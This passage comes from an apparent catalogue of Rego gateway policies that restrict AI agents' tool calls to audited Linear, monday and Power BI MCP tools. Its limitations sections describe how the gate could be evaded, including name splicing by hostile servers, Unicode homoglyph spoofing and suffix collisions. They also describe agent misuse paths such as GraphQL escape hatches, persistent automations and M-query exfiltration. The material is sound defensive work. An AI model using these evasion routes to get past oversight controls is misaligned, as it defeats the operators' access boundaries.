schemes force suffix (not exact) matching, a hostile server could name a tool so that it ends in `_` — e.g. `linear_reallyCreateIssue` ending in `_createissue` — and be admitted. The separator boundary blocks the no-separator case (`superCreateIssue`), but not a separator-prefixed splice. Audit the *actual* tool list your server exposes; do not rely on suffix matching alone against an untrusted server. - **Verb-vocabulary divergence on server swap.** The seed uses the official verbs (`list_`/`get_`/`create_`/`update_`). The `tacticlaunch` server uses `get` where the official server uses `list` (`linear_getIssues` vs `list_issues`), so most community reads will **not** match the seed and will be denied. That is correct fail-closed behavior — re-pin to the community server's audited names if you deliberately adopt it. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tool that keeps an allowlisted name but changes behavior upstream bypasses the intent while matching the letter. Re-audit when the upstream server changes. - **Single-app gate.** This policy denies *everything* not on the list, so it is intended for a Linear-scoped pipeline. If you attach it to a pipeline that also fronts other MCP servers, those servers' tools are denied too — attach it to the Linear pipeline, or add the other servers' audited names to the list. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call an unaudited tool, add a separate `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package linear.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only if its name matches an audited # allowlisted name on its suffix (case-insensitive, separator-tolerant). A # missing, empty, non-string, or non-ASCII tool name matches nothing and is # therefore denied (fail closed). default allow := false # Verified official Linear MCP tool names — the November 2025 baseline enumerated # in the Linear landscape note (Fiberplane analysis, corroborated by # remote-mcp.com). 23 workspace read/write tools + search_documentation (Linear # help docs, not workspace data) = 24 distinct verified names. The official server # has NO delete/archive tools; there is no destructive or raw-SQL surface here. # # STARTER SET — a per-tenant STARTING POINT, not a finished allowlist. Linear's # official set drifts upward (catalogs count 22/25/~31), and the Feb-2026 # initiative/milestone/project-update tool names are UNVERIFIED and are therefore # NOT listed here (never invent tool names) — they are denied until an operator # confirms them via a live tools/list and pins them. Re-enumerate and re-pin per # tenant before enabling deny mode. Lower-case, canonical (official snake_case). allowed_tool_names := [ # Read — issues "list_issues", "list_my_issues", "get_issue", # Read — projects "list_projects", "get_project", # Read — teams "list_teams", "get_team", # Read — users "list_users", "get_user", # Read — documents "list_documents", "get_document", # Read — cycles / comments / labels / statuses "list_cycles", "list_comments", "list_issue_labels", "list_issue_statuses", "get_issue_status", "list_project_labels", # Read — Linear help docs (not workspace data) "search_documentation", # Write "create_issue", "update_issue", "create_project", "update_project", "create_comment", "create_issue_label", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real Linear / community # tool names and gateway - prefixes use only ASCII letters, digits, # underscore, dot, and hyphen. Checking the raw name BEFORE lower() closes a # Unicode case-folding / homoglyph evasion: lower() can fold some non-ASCII code # points onto ASCII letters, and a homoglyph in the prefix could otherwise # fabricate a fake separator boundary and slip a visibly-different, un-audited # name past the gate. Guarded by is_string so a non-string name still yields a # clean, reasoned deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Acceptable canonical forms: each official name in its snake_case form PLUS its # underscore-stripped form. The stripped form is what lets one pinned name span # the tacticlaunch camelCase spelling (create_issue -> createissue matches # linear_createIssue) as well as the official/jerhadf snake_case spellings. allowed_forms contains form if { some canonical in allowed_tool_names form := canonical } allowed_forms contains form if { some canonical in allowed_tool_names form := replace(canonical, "_", "") } # Allow (branch 1): the whole tool name IS an allowlisted form. Covers the bare # official name (create_issue) with no gateway/server prefix. allow if { raw_name_is_plain_ascii some form in allowed_forms tool_name == form } # Allow (branch 2): the tool name ends in a separator immediately followed by an # allowlisted form. Covers every prefixed spelling — the gateway - # prefix (linear-mcp-create_issue), the jerhadf linear_ prefix # (linear_create_issue), and the tacticlaunch linear_ + camelCase spelling # (linear_createIssue -> ..._createissue). Requiring the separator (_ / - / .) # before the suffix blocks a crafted long name that merely ends in an allowlisted # string with no boundary (superCreateIssue is denied). allow if { raw_name_is_plain_ascii some form in allowed_forms some sep in ["_", "-", "."] endswith(tool_name, concat("", [sep, form])) } reason := "This Linear tool is not on the audited allowlist, so the gateway denies it by default and surfaces the call as tool drift. The allowlist pins the verified official Linear tool names (list_issues, get_issue, create_issue, update_issue, create_comment, …); anything else — tacticlaunch community tools such as linear_createWebhook (standing exfiltration), linear_logoutAllSessions (account DoS), or linear_getOrganizationAuditEvents (org surveillance); delete/archive tools the official server does not have; unverified Feb-2026 initiative/milestone/project-update tools; or a renamed/newly added upstream tool — is denied until it is re-audited. If this tool is legitimate, ask a gateway admin to confirm its exact name with a live tools/list and add it to the allowlist for this Linear pipeline." if not allow ``` ### Default-Deny Unknown monday Tools URL: https://www.intentbasedpolicy.com/policies/monday/default-deny-unknown-tools App(s): monday | Direction: ingress | Bundles: soc2 | Package: monday.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: monday, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/monday/default-deny-unknown-tools/policy.md # monday / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted tool-name suffixes pass **Package:** `monday.ingress.default_deny_unknown_tools` ## What it does Maintains a per-tenant allowlist of audited monday tool-name suffixes and denies any call whose tool name does not end with an allowlisted entry. Everything not explicitly reviewed is blocked before it reaches the monday MCP server, and the deny is surfaced as a gateway event — the drift signal that flags a new, renamed, or newly enabled tool the moment it first appears. monday has an unusually large number of ways a single call can escape every other per-tool policy, which is why this default-deny gate is the outer boundary for the app rather than optional hardening. It fails closed against: - **The GraphQL escape hatch** — `all_monday_api`, `all_api_read`, `all_api_write`: one opaque `query` string runs arbitrary GraphQL against the monday API (any read the token can see, any mutation — permissions, subscribers, deletions), bypassing every per-tool distinction. - **The self-expanding toolset** — `manage_tools` changes which tools are exposed, so a blocklist can never stay complete. - **Beta dynamic-API tools** — the arbitrary-GraphQL tools added by `--enable-dynamic-api-tools` (the `all_*_api` family above) that are off by default locally but on for some deployments. - **The developer apps-mode surface** — `monday_apps_export_storage_data` and `monday_apps_set_environment_variable` (and the rest of `monday_apps_*`), which read app storage and rewrite environment configuration. It also catches **upstream renames and newly introduced tools** before they can reach the account: a tool that stops matching an allowlisted suffix is denied until it is re-audited. This is the default-deny-by-design posture — the default state of any tool the tenant has not reviewed is "inaccessible." A missing, empty, non-string, or non-ASCII tool name matches nothing and is denied (fail closed). ## Pin the allowlist to YOUR tenant at import time The shipped `allowed_tool_suffixes` array is a **starter set** of read and reversible-write tools verified from the official monday MCP source (`mondaycom/mcp`). It is not, and cannot be, the list of tools *your* deployment has reviewed. **At import time, replace or extend the array with exactly the suffixes your team has audited.** Because monday exposes tool names **unprefixed** (`create_item`, not `monday_create_item`) and the DTwo gateway prepends the configured server name, the exact string the gateway sends is deployment-specific. **Verify the precise suffixes with the dump-input debug technique before pinning** — do not guess. Add only what you have reviewed; every unlisted tool is denied until you do. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach monday capabilities that were explicitly reviewed and enumerated. - **SOC 2 CC6.6** — supports boundary protection: upstream-added, renamed, or dynamically enabled tools (including the GraphQL escape hatch and apps-mode surface) do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: dynamic-API tools, `manage_tools`, and developer apps-mode tools are unauthorized-by-default on the agent path. - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools, newly enabled beta or apps-mode surfaces) as observable gateway events that feed anomaly monitoring and event evaluation. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new data-bearing monday tool is "inaccessible until audited," and monday boards routinely hold personal data (HR/recruiting, CRM, healthcare project boards). ## Tool name matching monday's official tool names are **bare snake_case** with no vendor prefix (`create_item`, `search`, `get_board_items_page`). Behind the DTwo gateway they appear as `-`, and that prefix is not standardized across deployments. The community sakce server prefixes its own names with `monday_` (`monday_create_item`) as part of the tool name itself. To cover all three spellings with a single allowlist entry, the policy matches case-insensitively on `lower(input.resource.name)` with **`endswith`** against the bare suffix: - `create_item` (official, bare) — matches, - `monday_create_item` (sakce community) — ends with `create_item`, matches, - `monday-mcp-create_item` (gateway-prefixed) — ends with `create_item`, matches. Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so a suffix a tenant later pins that contains those letters (e.g. `link_board_items_workflow`) could otherwise be spoofed with a folded character. A name containing any character outside that ASCII set is denied. The starter allowlist covers safe reads and reversible item-level writes: `get_board_info`, `get_board_schema`, `get_board_items_page`, `search`, `get_updates`, `create_item`, `change_item_column_values`, `create_update`. Everything else is deliberately **excluded** and must be audited before it is added — the escape hatch (`all_monday_api`, `all_api_read`, `all_api_write`), `manage_tools`, all `monday_apps_*` developer tools, persistence tools (`create_automation`, `manage_automations`, `create_workflow`, `manage_agent*`), destructive tools (`delete_item`, `delete_column`, `delete_object_schema*`), outbound-to-human tools (`create_notification`, form tools), and broad/batch reads and writes (`get_full_board_data`, `create_items`, `list_users_and_teams`). ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the official and community servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and `reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-get_board_items_page", "type": "tool" }, "payload": { "name": "monday-mcp-get_board_items_page", "args": { "boardId": 12345 } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-all_monday_api", "type": "tool" }, "payload": { "name": "monday-mcp-all_monday_api", "args": { "query": "mutation { delete_item (item_id: 42) { id } }" } } } } ``` `allow = false`, `reason = "This monday tool is not on the audited allowlist (...)"`. ## Composition This policy is the outer gate — it decides *which* monday tools exist for agents. Pair it with policies that constrain *how* the allowlisted tools are used: - A **board/workspace fencing policy** (e.g. `apps/monday/fence-sensitive-boards`) for the generic reads/writes on the allowlist (`get_board_items_page`, `search`, `create_item`, `change_item_column_values`) — those take a `boardId`/`workspaceIds` and reach any board the token can see, so scope them by IdP group. - An **egress PII redaction policy** on `get_board_items_page` / `search` / `get_updates` responses so board data (email/phone column values are plain strings) is masked before it reaches the model. - A **freeze-destructive-ops / freeze-persistence policy** — even if a tenant later allowlists a write tool, keep `delete_*`, `create_automation`, and `manage_agent*` blocked so agent-installed automations cannot outlive the session. ## Known limitations - **The starter allowlist is not your tool list.** Pinning it to the suffixes your tenant has actually reviewed is a required deployment step, not a tuning step. If you enable `--enable-dynamic-api-tools`, `--mode apps`, or a swapped-in community server, every tool they add is denied until you audit and add it. - **`endswith` matching trusts the suffix, not a separator.** To support the sakce `monday_`-prefixed spelling with one entry, matching does not require a `-` separator before the suffix. As a result a tool literally named `create_item` (any prefix glued directly to an allowlisted suffix) would also match. No tool in the current monday inventory collides this way (`create_items`, `create_update_in_monday`, `get_full_board_data` do **not** end with an allowlisted suffix and are denied), but if your deployment needs stricter matching, replace the suffix entries with the exact full gateway tool names. - **A short, generic suffix weakens the drift guarantee for future renames.** The residual above bites hardest on the one-word English suffix `search`. Because matching is by suffix, a **future or renamed** upstream tool whose name ends in `search` — e.g. `advanced_search`, `global_search`, `people_search` — would be auto-allowed rather than surfaced as tool drift, silently defeating the "deny new/renamed tools until re-audited" posture for that one class (the drift-detection claims above hold for tools that *stop* matching a suffix, not for a newly introduced tool that *starts* ending in a generic one). No such tool exists in the current monday inventory (the only `search`-ending tool is `search` itself), and the long, specific suffixes (`get_board_items_page`, `change_item_column_values`, `create_update`) are effectively rename-proof. If drift alerting on the `search` family matters to you, drop `search` from the allowlist and pin the exact full gateway tool name(s) for it instead. - **Legacy hyphenated community names are not covered.** The pre-FastMCP sakce spellings use hyphens (`monday-create-item`); they do not end with the underscore suffix `create_item` and are therefore denied. If you run the legacy server, add the hyphenated names to the allowlist after auditing. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tool that keeps an allowlisted name but changes behavior upstream (or a board published under a benign-looking name) bypasses the intent while matching the letter. Re-audit when upstream servers change. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Exact upstream suffixes unverified for your gateway.** The bare names are verified from `mondaycom/mcp` source, but the string your gateway actually sends depends on the configured server name. Confirm with dump-input before pinning. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call unaudited tools (e.g. for a controlled `all_monday_api` window), add a separate `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package monday.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only if its name ends with an audited # allowlist suffix below. A missing, empty, non-string, or non-ASCII tool name # matches nothing and is therefore denied (fail closed). default allow := false # Audited monday tool-name suffixes — STARTER SET. Pin to the suffixes YOUR # tenant has actually reviewed at import time (see the policy description). # Matched with endswith so one bare official suffix (create_item) also covers # the sakce community monday_-prefixed spelling (monday_create_item) and any # gateway server-name prefix (monday-mcp-create_item). # # Source: mondaycom/mcp platform-api-tools (verified inventory). Deliberately # EXCLUDED — default-deny by design, audit before adding any: # - GraphQL escape hatch: all_monday_api, all_api_read, all_api_write # - Self-expanding toolset: manage_tools # - Beta dynamic-API tools: the all_*_api family added by # --enable-dynamic-api-tools # - Developer apps-mode: monday_apps_export_storage_data, # monday_apps_set_environment_variable, monday_apps_* # - Persistence (outlive the session): create_automation, manage_automations, # create_workflow, update_workflow, publish_workflow, # manage_agent* # - Destructive: delete_item, delete_column, delete_update, # delete_object_schema* # - Outbound-to-humans: create_notification, create_form/update_form # - Broad / batch: create_items, get_full_board_data, # list_users_and_teams (directory harvesting) allowed_tool_suffixes := [ # Reads (metadata + item/board content) "get_board_info", "get_board_schema", "get_board_items_page", "search", "get_updates", # Reversible item-level writes "create_item", "change_item_column_values", "create_update", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real monday / community # tool names and gateway - prefixes use only ASCII letters, digits, # underscore, dot, and hyphen. Checking the raw name BEFORE lower() closes a # Unicode case-folding evasion: lower() folds some non-ASCII code points onto # ASCII letters (e.g. the Kelvin sign U+212A -> "k"), so a suffix a tenant later # pins that contains such a letter could be spoofed with a folded character and # slip past the default-deny gate despite being a visibly different, un-audited # name. Guarded by is_string so a non-string name still yields a clean, reasoned # deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Allow only when the name ends with an audited suffix. endswith (no separator # requirement) is intentional: it matches the bare official name (create_item), # the sakce monday_-prefixed spelling (monday_create_item), and any gateway # server-name prefix (monday-mcp-create_item) with a single allowlist entry. # See Known limitations for the residual this trades for. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, suffix) } reason := "This monday tool is not on the audited allowlist, so the gateway denies it by default and surfaces the call as tool drift. This fails closed against the GraphQL escape hatch (all_monday_api / all_api_read / all_api_write), the self-expanding manage_tools, the beta dynamic-API tools, and the developer apps-mode surface (monday_apps_export_storage_data, monday_apps_set_environment_variable) — any one of which could reduce every other monday policy to one opaque query string. Ask a gateway admin to review the tool and, if it is safe for agents, add its verified suffix to the allowlist." if not allow ``` ### Default-Deny Unknown Power BI Modeling Tools URL: https://www.intentbasedpolicy.com/policies/power-bi/default-deny-unknown-modeling-ops App(s): power-bi | Direction: ingress | Bundles: soc2 | Package: power_bi.ingress.default_deny_unknown_modeling_ops | Published: 2026-07-12 | Tags: power-bi, default-deny-unknown-tools, allowlist, modeling, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/power-bi/default-deny-unknown-modeling-ops/policy.md # power-bi / default-deny-unknown-modeling-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted Power BI tool-name suffixes pass **Package:** `power_bi.ingress.default_deny_unknown_modeling_ops` ## What it does Pins a per-tenant allowlist of audited Power BI tool-name suffixes and denies any call whose tool name does not end with an allowlisted entry. Everything the tenant has not explicitly reviewed is blocked before it reaches the Power BI MCP server, and the deny surfaces as a gateway event — the drift signal that flags a new, renamed, or newly enabled tool the moment it first appears. The local **Power BI Modeling MCP server** (`microsoft/powerbi-modeling-mcp`) is explicitly **public preview**: its README warns tools "may significantly change" before GA. It exposes ~21 coarse `_operations` multiplexer tools, each fronting many sub-operations (list/create/update/delete-style), so new or renamed tools can appear between upgrades without review. This default-deny gate is the outer boundary for the app: a tool that stops matching an allowlisted suffix — or a freshly introduced one — is denied until it is re-audited. This is also the only enforcement point that **cannot be bypassed** with the modeling server's `--skipconfirmation` flag or with clients that do not implement MCP elicitation. The server's own confirmation prompts are client-side and optional; the gateway allowlist is not. A missing, empty, non-string, or non-ASCII tool name matches nothing and is denied (fail closed). ## Pin the allowlist to YOUR tenant at import time The shipped `allowed_tool_suffixes` array is a **starter set** of the tool names verified from Microsoft's own sources — the modeling server's README (the 21 `*_operations` names) and the remote server's wire-level names (`skills-for-fabric`). It is not, and cannot be, the list of tools *your* deployment has reviewed. The allowlist is a **per-tenant pin**: after each Power BI MCP upgrade, re-run the gateway dump-input technique to capture the exact tool names the server now advertises, audit any new or renamed names, and add only the audited ones. Every unlisted tool is denied until you do. **Do not guess** — the string the gateway sends is deployment-specific (it prepends the configured server name), so verify before pinning. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach Power BI modeling/query capabilities that were explicitly reviewed and enumerated. - **SOC 2 CC6.6** — supports boundary protection: preview-server tools added or renamed in an upgrade do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: any modeling or query tool the tenant has not audited is unauthorized-by-default on the agent path, including tools that would otherwise run past the server's `--skipconfirmation` bypass. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new Power BI tool is "inaccessible until audited," and semantic models routinely front regulated data (finance, HR, customer PII) imported or DirectQueried from the warehouse. ## Tool name matching Power BI's tool names follow three incompatible conventions (see the landscape note): the modeling server uses snake_case `_operations` multiplexers (`model_operations`); the remote hosted server uses PascalCase verbs (`ExecuteQuery`); the community server uses prefixed snake_case (`desktop_…`, `cloud_…`). Behind the DTwo gateway each is prefixed with the configured MCP server name (e.g. `powerbi-modeling-mcp-model_operations`), and that prefix is not standardized. To stay portable, the policy matches case-insensitively on `lower(input.resource.name)` with **`endswith`** against the bare suffix: - `model_operations` (bare) — matches, - `powerbi-modeling-mcp-model_operations` (gateway-prefixed) — ends with `model_operations`, matches, - `ExecuteQuery` / `powerbi-mcp-ExecuteQuery` — lowercased, ends with `executequery`, matches. Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so an allowlisted suffix could otherwise be spoofed with a folded character. A name containing any character outside that ASCII set is denied. The starter allowlist covers the verified modeling multiplexers plus the verified remote **read** tools: - **Modeling multiplexers (21):** `connection_operations`, `database_operations`, `transaction_operations`, `trace_operations`, `model_operations`, `table_operations`, `column_operations`, `measure_operations`, `relationship_operations`, `partition_operations`, `user_hierarchy_operations`, `calculation_group_operations`, `perspective_operations`, `named_expression_operations`, `function_operations`, `culture_operations`, `object_translation_operations`, `calendar_operations`, `query_group_operations`, `security_role_operations`, `dax_query_operations`. - **Remote read tools (4):** `ExecuteQuery`, `ValueSearch`, `GetSemanticModelSchema`, `GetReportMetadata`. Deliberately **excluded** (denied until audited): the remote Copilot generator `GenerateQuery` (consumes Copilot capacity), the unverified discovery helpers `DiscoverArtifacts` / `ResolveReportIdFromUrl` (landscape-noted as unverified on `/mcp/powerbi`), every community-server tool, and any Fabric-server tool (OneLake file delete, item CRUD). ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the three servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and `reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed — audited modeling multiplexer ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-modeling-mcp-model_operations", "type": "tool" }, "payload": { "name": "powerbi-modeling-mcp-model_operations", "args": { "operation": "list" } } } } ``` `allow = true`, no reason. ### Allowed — audited remote read tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "args": { "query": "EVALUATE TOPN(10, 'Sales')" } } } } ``` `allow = true`, no reason. ### Denied — unaudited tool (drift) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-modeling-mcp-dataflow_operations", "type": "tool" }, "payload": { "name": "powerbi-modeling-mcp-dataflow_operations", "args": {} } } } ``` `allow = false`, `reason = "This Power BI tool is not on the audited allowlist (...)"`. ## Composition This policy is the outer gate — it decides *which* Power BI tools exist for agents. It gates only tool **names**; the per-call operation enum inside each `*_operations` multiplexer is undocumented and unverified, so an allowlisted multiplexer may still perform a write or a delete. Pair it with the policies that constrain *what* a permitted tool may actually do: - **`apps/power-bi/block-rls-bypass-service-principal`** — denies the RLS- sensitive read/query tools under service-principal identity. - **`freeze-rls-role-edits`** (RLS-tampering guard on `security_role_operations`) — stops row-security filter *definitions* from being rewritten. - **`guard-warehouse-sql-dax`** — inspects the DAX text on the query tools (`ExecuteQuery`, `dax_query_operations`) for whole-table dumps. - An **egress PII redaction policy** on query/`ValueSearch`/`GetReportMetadata` responses so returned model data is masked before it reaches the model. ## Known limitations - **The starter allowlist is not your tool list.** Pinning it to the suffixes your tenant has actually reviewed — and re-running dump-input after every Power BI MCP upgrade, since the server is preview and may rename tools — is a required deployment step, not a tuning step. - **Name-based trust only; the operation enum is not gated.** The `*_operations` tools multiplex reads and writes (list/create/update/delete) selected by an operation argument whose enum is **undocumented and unverified**. Allowlisting `measure_operations` or `security_role_operations` by name permits *every* sub-operation it fronts. This policy gates names, not actions — it must be paired with the RLS-tampering, service-principal, and DAX-guard companions above to constrain behavior. - **M / Power Query injection via allowlisted multiplexers has no listed companion.** `partition_operations` and `named_expression_operations` are verified modeling tools and are therefore allowlisted by name, but they edit Power Query (M) expressions, and M can call `Web.Contents(...)`. A rewritten partition source is both a data-poisoning and an exfiltration channel that fires **later, at refresh time, outside the gateway's view** — the deny-event the gateway would otherwise surface never appears because the malicious fetch happens off the MCP path. None of the four companions listed under **Composition** constrains this (the DAX guard inspects DAX on the query tools, not M on the partition/expression tools). If agents do not need to edit partitions or named expressions, drop `partition_operations` and `named_expression_operations` from your pinned allowlist, or add a dedicated M-injection guard that inspects the operation and the M source string. - **`endswith` matching trusts the suffix, not a separator.** To cover the bare name and any gateway server-name prefix with one entry, matching does not require a separator before the suffix. A tool literally named `model_operations` (any string glued directly to an allowlisted suffix) would also match. This applies to the remote **read** verbs too, not only the `*_operations` multiplexers: an unaudited tool named `BatchExecuteQuery` or `ExportExecuteQuery` ends with `executequery` and would be auto-allowed, as would anything ending in `valuesearch` / `getsemanticmodelschema` / `getreportmetadata`. No tool in the current Power BI inventory collides this way, but the short verb suffixes are the likelier future collision; if your deployment needs stricter matching, replace the suffix entries with the exact full gateway tool names. - **Generic object suffixes weaken drift detection for future renames.** Because matching is by suffix, a **future or renamed** preview-server tool whose name ends in an allowlisted object token — e.g. a hypothetical `snapshot_table_operations` ending in `table_operations`, or `advanced_model_operations` ending in `model_operations` — would be auto-allowed rather than surfaced as drift. The drift-detection guarantee holds for tools that *stop* matching a suffix and for brand-new object types (`dataflow_operations` does **not** end with any allowlisted suffix and is denied), not for a new tool that *starts* ending in an existing object token. If that matters to you, pin the exact full gateway tool names instead of the bare `*_operations` suffixes. - **Community and Fabric servers are not covered by the starter list.** The community server's `execute_dax` / `cloud_list_*` / `pbip_*` names and the Fabric server's OneLake/item-CRUD tools are intentionally excluded — they are denied until audited and added. If you run one of those servers, audit and pin its verified names. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Exact upstream suffixes unverified for your gateway.** The bare names are verified from Microsoft's README and `skills-for-fabric`, but the string your gateway actually sends depends on the configured server name. Confirm with dump-input before pinning. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call an unaudited tool during a controlled window, add a separate `allow if` branch gated on `input.subject.claims` groups (placeholder group names — replace with your IdP's group name at import time). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package power_bi.ingress.default_deny_unknown_modeling_ops # Deny-by-default: a tool call is allowed only if its name ends with an audited # allowlist suffix below. A missing, empty, non-string, or non-ASCII tool name # matches nothing and is therefore denied (fail closed). default allow := false # Audited Power BI tool-name suffixes — STARTER SET. Pin to the suffixes YOUR # tenant has reviewed, and re-run dump-input after every Power BI MCP upgrade # (the modeling server is preview and may rename tools). Matched with endswith # so one bare suffix also covers any gateway - prefix # (powerbi-modeling-mcp-model_operations). # # Sources: microsoft/powerbi-modeling-mcp README (the 21 *_operations names) and # microsoft/skills-for-fabric (remote wire-level names). Deliberately EXCLUDED — # default-deny by design, audit before adding any: # - Remote Copilot generator: GenerateQuery (consumes Copilot capacity) # - Unverified discovery: DiscoverArtifacts, ResolveReportIdFromUrl # (presence on /mcp/powerbi unverified) # - Community server: execute_dax, desktop_*, cloud_*, pbip_*, delete_* # - Fabric server: OneLake file delete, item CRUD allowed_tool_suffixes := [ # Modeling server — session/infra multiplexers "connection_operations", "database_operations", "transaction_operations", "trace_operations", # Modeling server — model read/write metadata CRUD multiplexers "model_operations", "table_operations", "column_operations", "measure_operations", "relationship_operations", "partition_operations", "user_hierarchy_operations", "calculation_group_operations", "perspective_operations", "named_expression_operations", "function_operations", "culture_operations", "object_translation_operations", "calendar_operations", "query_group_operations", # Modeling server — governance-sensitive write multiplexer (name-gated only; # pair with freeze-rls-role-edits to constrain the operation enum) "security_role_operations", # Modeling server — DAX query multiplexer (read) "dax_query_operations", # Remote hosted server — verified read tools (lowercased for the match below) "executequery", # ExecuteQuery "valuesearch", # ValueSearch "getsemanticmodelschema", # GetSemanticModelSchema "getreportmetadata", # GetReportMetadata ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real Power BI tool names # and gateway - prefixes use only ASCII letters, digits, underscore, # dot, and hyphen. Checking the raw name BEFORE lower() closes a Unicode # case-folding evasion: lower() folds some non-ASCII code points onto ASCII # letters (e.g. the Kelvin sign U+212A -> "k"), so an allowlisted suffix could be # spoofed with a folded character and slip past the default-deny gate despite # being a visibly different, un-audited name. The regex is not multiline in # OPA/Go, so a newline in the raw name breaks the whole-string match (^...$). # 